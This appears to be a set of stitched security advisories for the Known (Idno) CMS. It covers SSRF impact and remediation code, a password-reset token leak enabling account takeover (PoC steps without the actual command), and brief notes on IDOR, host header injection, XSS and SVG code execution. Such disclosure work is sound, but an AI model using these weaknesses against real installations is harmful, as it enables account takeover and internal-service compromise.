• Access to localhost-restricted services: Web applications and administration interfaces commonly restrict access to 127.0.0.1. The SSRF bypasses this restriction by routing requests through the server itself. This includes Idno's own admin interface if it is firewall-restricted, as well as co-located services such as database administration tools, monitoring dashboards, and internal APIs.

• Interaction with internal services Services such as Redis (default: no authentication), Memcached, and internal HTTP APIs may be reachable and manipulable via crafted URLs, potentially enabling cache poisoning, data exfiltration, or triggering state-changing operations on internal systems.

Remediation

Move setIsAPIRequest(true) to after successful HMAC verification:

if ($hmac == $compare_hmac) {
    $this->setIsAPIRequest(true);   // only set after credentials are verified
    $return = $this->refreshSessionUser($user);
}

Defence in depth — block private address ranges in unfurl(): The unfurl function should reject requests to RFC 1918 addresses, loopback, and link-local ranges:

$host = parse_url($url, PHP_URL_HOST);
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    // allowed
} else {
    return false; // block private/reserved ranges
}

Note: An attempt was made to email the address provided in the security page but the address does not exist.

Your message wasn't delivered to security@idno.co because the address couldn't be found, or is unable to receive mail.

Summary

A Critical Broken Authentication vulnerability exists in Known 1.6.2. The application leaks the password reset token within a hidden HTML input field on the password reset page. This allows any unauthenticated attacker to retrieve the reset token for any user by simply querying the user's email, leading to full Account Takeover (ATO) without requiring access to the victim's email inbox.

Details

The vulnerability occurs within the password reset flow. When a reset is requested, the application generates a verification code. However, the subsequent reset page (/account/password/reset/) incorrectly reflects this code back to the client in the HTML source code.

Specifically, the sensitive token is embedded in:

Because this page is accessible via a GET request using the victim's email as a parameter, an attacker can programmatically extract the token.

PoC

1. The attacker asks for a password reset for the victim

2. The attacker makes the following curl command on the terminal using the victim's email, and is able to get the code that was sent as an hidden field in the HTML.

3. With this code, the attacker is able to use it in order to reset the victim password.

4. The attacker is able to login with the new password.

Impact

• An attacker can compromise any account on the platform, including administrative accounts, resulting in total loss of Confidentiality, Integrity, and Availability.

Known v1.3.1 was discovered to contain an Insecure Direct Object Reference (IDOR).

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

Known v1.3.1 was discovered to allow attackers to perform an account takeover via a host header injection attack.

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

A cross-site scripting (XSS) vulnerability in Known v1.3.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Your Name text field.

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

An issue in the isSVG() function of Known v1.3.1 allows attackers to execute arbitrary code via a crafted SVG file.

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.